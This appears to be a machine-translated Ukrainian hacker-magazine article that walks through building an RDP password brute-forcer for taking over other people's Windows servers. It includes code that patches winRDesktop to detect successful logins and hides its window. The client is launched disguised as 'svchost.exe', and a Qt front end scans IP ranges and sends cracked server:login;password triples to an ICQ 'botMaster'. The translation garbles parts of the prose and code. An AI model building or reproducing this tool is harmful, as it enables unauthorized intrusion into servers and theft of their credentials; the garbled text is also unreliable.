У наші дні лише ледачий не пробував Брут Дедик - благо, тулз для цієї справи написано предостатньо. Найбільш відомі tss-brute від metal і ActiveX-based брутфорс, початок еволюції яких поклали ми з Dizz'ом в минулому році. Всі інші брутфорс базуються на цих двох - будучи фронт-ендами tss-brute (RDP Brute by Dizz) або клонами мого R & D P Brute. У цьому році я знайшов новий спосіб викрадення серверів на Windows. Хочеш дізнатися, як - читай далі!

Існуючі рішення

Здавалося б, усе добре - сила-силенна брутфорс, вибирай-не хочу, але всі вони не позбавлені недоліків.

    * Брутфорс від metal'a - один великий "костиль" (хоча авторові величезний респект за виконану роботу). Пароль у ньому вводиться шляхом емуляції натискань на кнопки, до того ж він залежить від версії mstsc.exe.
    * ActiveX-based брутфорс характеризуються самим словом "ActiveX" - ця технологія ну ніяк не підходить для створення подібного софту. Брутфорс - знову ж таки милицю на милиці, наприклад, щоб нормально підбирався пароль, доводиться створювати n об'єктів на формі, де n дорівнює кількості потоків. Причому робити об'єкти невидимими не можна - тоді підбір пароля перестає працювати (щоб віконечка не було видно, їх доводиться ховати за межі форми!). Ще один, найбільший мінус - він ні в яку не хоче працювати на Windows Server 2003, а більшість же Дедик працює саме на цій ОС.

Отже, сьогодні я розповім тобі, як мені вдалося написати брутфорс, який працює на будь-якій ОС сімейства Windows NT, при цьому не використовуючи ніяких зовнішніх компонентів - фактично працюючи прямо з протоколом RDP версії 5!
Розбір польотів

Восени 2009 року я серйозно задумався над написанням нового брутфорс. Я почав шукати документацію по протоколу RDP, і, само собою, нічого не знайшов. І тоді я згадав, що існує такий проект, як rdesktop - RDP-клієнт під Нікс, який працює з X-сервером і вміє автоматично вводити логін і пароль. Я завантажив вихідні коди і почав їх вивчати. Взяти й просто скопіювати декілька функцій неможливе через своєрідну структури програми, тому я вирішив переписати їх у потрібному мені вигляді. Витративши близько тижня, я забив на цю справу. Через деякий час один мій іноземний знайомий, зацікавлений у написанні мною хорошого брутфорс, скинув мені цікаву інформацію - патч, що перетворює rdesktop в брутфорс. Начебто, ось воно, щастя, та не тут-то було! Брут виходив однопотоковим, за списком паролів, і працював він тільки під лінуксом, що нас зовсім не влаштовувало. В черговий раз на проект було забито. Через кілька місяців я наткнувся на pudn.com на winRDesktop - порт rdesktop'a на Windows, у вигляді проекту для MS Visual Studio. Це було саме те, що мені потрібно, і я взявся за перетворення нешкідливою софтинка в забійний брутфорс.

Для початку нам необхідно визначитися, як саме виглядатиме наша прога. Розглянувши безліч варіантів, я зупинився на одному - брутфорс складається з двох частин:

   1. Модифікований winrdesktop, якому передаються логін, пароль та IP сервера. Він намагається залогіньтеся і повертає результат.
   2. GUI - фронт-енд, який керує всім цим добром: вводить багатопоточність, дозволяє сканувати діапазони IP, забезпечує роботу ICQ-бота. GUI буде написаний на C + + з фреймворком Qt.

Напевно, у тебе виникло питання з приводу бота - а як же ми реалізуємо його, якщо реально робочі компоненти для ICQ є тільки під Delphi / BCB? Відкрию невеликий секрет - існує Qt-клас QOSCAR для роботи з ICQ (написаний, до речі кажучи, мною), і знаходиться він на qoscar.googlecode.com. У цій статті не розглядається написання бота, там все гранично просто, і ти (я сподіваюся) в змозі розібратися з цим питанням сам. Все, ліричний відступ у бік, починаємо кодіть!
Developers, developers, developers!

Для початку мені було потрібно знайти исходники WinRDesktop'a. Завдання було не з легких, і я вбив півдня, щоб розібратися, як же скачати їх з одного "PUDN". Далі я знайшов патч, що перетворює Rdesktop в брутфорс. Але у нас щось не Rdesktop! Не біда - пропатчити софтинка руками. Запускаємо Visual Studio 2008 (піде і VC + + 2008 Express, але Professional має крутіший компілятор, тому раджу використовувати саме його, тим більше, якщо ти студент - можеш отримати його безкоштовно по DreamsPark), і відкриваємо наш проект. Проект спочатку призначений для VC 9, тому без танців з бубном у версіях молодше VS2008 він не запрацює.

Спочатку додамо кілька констант в файл rdesktop.h, які допоможуть програмі розпізнавати результат введення пароля. До речі кажучи, в патчі є функція брутфорс серверів під Win 2k, але він використовує четверту версію протоколу, яка не підтримує автологін, тому пас вбивається емуляцією кнопок. Нас таке не влаштовує, так що Win 2000 ми підтримувати не будемо.

Як же працює розпізнавання? Дуже просто - прийшов клієнту пакет побайтово порівнюється з деякими сигнатурами, і на підставі цих сигнатур робиться висновок про успіх / невдачі при підборі пароля. Наприклад, # define LOGON_AUTH_FAILED "\ xfe \ x00 \ x00" означає, що пароль був введений неправильно. Решта константи ти можеш підглянути в коді. Значення констант має бути зрозуміло з назви. Якщо ні, то навіщо ти це читаєш? :)

Далі ми патчі процидурку process_text2 () з файлу orders.c. У ній-то і відбувається розпізнавання результату введення пароля. Хоча, насправді, не тільки в ній - часто при успішному логіні сервер надсилає пакет з повідомленням про це - PDU_LOGON.

Подивимося код:

Шматок process_text2 ()

if (! memcmp (os-> text, LOGON_AUTH_FAILED, 3))
ExitProcess (2);
if ((! memcmp (os-> text, LOGON_MESSAGE_FAILED_XP, 18)) | | (! memcmp (os-> text, LOGON_MESSAGE_FAILED_2K3, 18)))
ExitProcess (3);

Цей код потрібно вставляти в самому початку процедури.

Поясню його дію.

рrocess_text2 () обробляє пакет, в якому приходить текст від сервера (що очевидно з його назви), в ньому ми порівнюємо отриманий текст з деякими заздалегідь відомими послідовностями при logon'e. Останній крок - відкриваємо rdp.c і шукаємо процедуру process_data_pdu (). У ній нас цікавить шматок коду, що починається з "case RDP_DATA_PDU_LOGON:". Просто вставляємо ExitProcess (4) після неї. Навіщо нам потрібен ExitProcess () - читай далі.

Так, з коригуванням winRdesktop'a ми з тобою розібралися. Якщо ти думаєш, що найскладніше позаду - ти глибоко помиляєшся. Найскладніше ще попереду.

Перша проблема, з якою мені довелося зіткнутися, - це поява вікна програми під час запуску. Нам воно не потрібно, тому сміливо робимо ShowWindow з параметром SW_HIDE.

Друга проблема - як же брутфорс спілкуватися із зовнішнім світом, як він буде повідомляти нам про результат перевірки? Printf () і інше не працюють, у файл писати - це не круто. Найбільш простий і в той же час надійний метод - завершувати додаток з різними ExitCode'амі. Наприклад, ExitProcess (4) буде викликатися при правильному паролі, ExitProcess (2) - при неправильному, а ExitProcess (3) - при невдалій спробі підключення. Сказано - зроблено (результат ти можеш побачити в process_text2 () на врізку).

Третя проблема, її мені так і не вдалося вирішити - нефіговое споживання ресурсів. Забігаючи вперед, скажу, що 30 потоків вантажать на 100% процесор мого MSI Wind u90. Пов'язано це з розпакуванням бітмепов (RDP-сервер сильно стискає картинки). Я вирізав всі (на мій погляд) непотрібні шматки коду з розпакуванням і малюванням на формі (навіщо малювати на формі, якщо ми її не бачимо?), Що дозволило трохи знизити ресурсопотребленіе, але проблему це все одно не вирішило. Якщо ти - крутий кодер на С, і тобі вдасться знизити апетит розпаковують, не забудь повідомити мені про це:).

Четверта, і остання, проблема - відсутність будь-яких символів, крім англійського алфавіту і цифр. Навчити брутфорс розуміти кирилицю мені так і не вдалося, хоча, може бути, воно й на краще - Брут російські сервера не варто:).
Бруту - гуй!

У принципі, брутфорс вже готовий, але він однопоточний - так само, як і брут від metal'a. Можна, звичайно, писати батники для запуску Брута, але ми ж круті хакери, ми хочемо Брут Дедик десятками в день, і тому вихід у нас один - написання фронт-енду. Як інструмент я вибрав ... ні, не модний нині C #, а свій улюблений (і набагато більш перспективний, на мій погляд) Qt Framework. В] [вже не раз писали про нього, тому не бачу сенсу описувати всі його достоїнства. Далі я маю на увазі, що ти вже вмієш працювати з цим фреймворком. Якщо ні - раджу почитати офіційну документацію Qt на qt.nokia.com і в обов'язковому порядку - книгу Саммерфілд і Бланшет (працівники Qt Software, один з них як раз займається документацією, так що книжка шикарна).

Запускаємо Qt Creator (раджу використовувати snapshot'и - вони не більше глючний, ніж stable-версії, але більш зручні, і містять всі прийдешні нововведення). Отже, створюємо новий GUI-проект з одним віджетом. Дизайн - особиста справа кожного, на скріншоті ти можеш побачити те. що вийшло у мене.

Для початку - накидаємо невеликий план.

   1. Головний потік запускає допоміжний потік.
   2. Допоміжний потік запускає. Exe-шник, який ми написали раніше, і чекає результату.
   3. Коли виконання брутфорс закінчується, потік випускає сигнал, який обробляється головним потоком, бере наступні логін і пароль, і переходить до кроку 2.

Для допоміжних потоків я написав клас BruteThread, який, по суті, не є потоком, оскільки не успадковується від QThread, але використовує тільки асинхронні методи для виконання дій, що займають тривалий час. BruteThread займається запуском нашого модифікованого winRDesktop'a за допомогою об'єкту process класу QProcess. Клас QProcess створений для запуску зовнішніх програм, і може запускати додаток, направляти його висновок в консоль (те, що виводиться через printf або cout, наприклад), відстежувати зміну стану і завершення процесу. Нас цікавлять тільки запуск і завершення програми - якщо відбувається одна з цих подій, випускаються сигнали void started () і void finished (int exitCode) відповідно. Зверни увагу на останній сигнал - у ньому як параметр передається код, з яким додаток було завершено - і цей параметр нам дуже сильно стане в нагоді. Обробляти ми будемо тільки другий сигнал, і код слота ти можеш побачити на урізанні "Сигнал onFinished ()". У ньому потік випускає відповідні сигнали, і переходить до наступної комбінації логін; пароль.

Сам запуск процесу виглядає ось так:

Запуск процесу Брута

QStringList slArgs;
slArgs <<"-u" <<slLogins.at (iCurrentLogin) <<"-p" <<slPasswords.at (iCurrentPassword) <<sServer;
process.start ("svchost.exe", slArgs);
iCurrentPassword + +;

Як бачиш, аргументи процесу передаються в QStringList, що дуже зручно:). Ну і, звичайно ж, не забудь в конструкторі класу відразу приєднати сигнал до слоту:

QObject:: connect (& process, SIGNAL (finished (int)), this, SLOT (onFinished (int)));

Ось так виглядає слот головного потоку, обробляє результати:

Обробляємо результати в головному потоці

if (iResult == 0)
{
iGood + +;
iChecked + +;
writeResult (QString ("% 1:% 2;% 3"). arg (sServer). arg (sUser). arg (sPassword), "good.txt");
oscar.sendMessage (settings.botMaster (), QString ("% 1:% 2;% 3"). arg (sServer). arg (sUser). arg (sPassword));
if (trayIcon.isVisible ())
trayIcon.showMessage ("Good", QString ("% 1:% 2;% 3"). arg (sServer). arg (sUser). arg (sPassword));
}
else
if (iResult == -1)
{
iBad + +;
iChecked + +;
}
Done!

Ось і все! Останнє ти повинен доробити сам, а якщо не зможеш - сміливо дивись в мої вихідні коди на диску. Тільки не сподівайся, що зможеш відкрити проект, поміняти назви кнопочок і заробити на Хаммер, продаючи новий брут - у ньому є кілька елементарних прийомів, і, якщо ти скрипт-Кід, то скомпіліть проект у тебе не вийде. Ну, а якщо вмієш хоча б базово працювати з С, то, я думаю, проблем воно тобі не принесе:).

До цього рішення я прийшов після масової перекомпіляції мого R & D P Brute, після викладання його вихідного, школотой (не плутати зі школярами!), Які за найменших проблем чинили дії сексуального характеру з моїм мозком ("А у мене не та версія mstscax.dll, що робити?? "," А що значить ShowMessage ()???"). Один з індивідуумів, до речі, сам зізнався, що brain.dll і hands.lib у нього відсутні (спасибі sslBot за лог, пореготати від душі). Ну, та ми відволіклися.

Разом у нас залишилися невирішеними дві проблеми, усунення яких я доручаю тобі:

   1. Споживання ресурсів.
   2. Підтримка кирилиці (чисто спортивний інтерес, ще раз повторюю - не Брут російські сервера).

На цьому дозволь попрощатися. Вдалого кодінг!

    Подяки

    Хотілося б подякувати наступних людей за допомогу, надану при написанні Брута:

        * Metal aka DeX - за допомогу з C / C + +, та й взагалі прекрасна людина, допомагав завжди!
        * Fry - за допомогу з протоколом OSCAR
        * Мемберов forum.asechka.ru - за тестування і підтримку.

    А також:

        * Xo0x.art, vitalikis
        * Максима Sundagy Бліненкова - за С / C + +
        * Варвару "Miracle" Ячменьова - за моральну підтримку:)
        * Ну і, звичайно ж, своїх батьків:)

    Сигнал onFinished ()

    if (exitCode> 666)
    {
    emit onServerResult (sServer,
    slLogins.at (iCurrentLogin),
    slPasswords.at (iCurrentPassword-1),
    exitCode);
    emit onDoneServer (this);
    return;
    }
    switch (exitCode)
    {
    case 666: / / Помилка
    emit onDoneServer (this);
    return;
    case 0: / / Фіг знає
    emit onServerResult (sServer,
    slLogins.at (iCurrentLogin),
    slPasswords.at (iCurrentPassword-1),
    true);
    if (bSkipZero)
    {
    emit onDoneServer (this);
    return;
    }
    break;
    case 4: / / Гуд!
    emit onServerResult (sServer,
    slLogins.at (iCurrentLogin),
    slPasswords.at (iCurrentPassword-1),
    0);
    emit onDoneServer (this);
    return;
    case 5: / / Теж Гуд
    emit onServerResult (sServer,
    slLogins.at (iCurrentLogin),
    slPasswords.at (iCurrentPassword-1),
    0);
    emit onDoneServer (this);
    return;
    default: / / Бед
    emit onServerResult (sServer,
    slLogins.at (iCurrentLogin),
    slPasswords.at (iCurrentPassword-1),
    -1);
    break;
    }
    nextPassword ();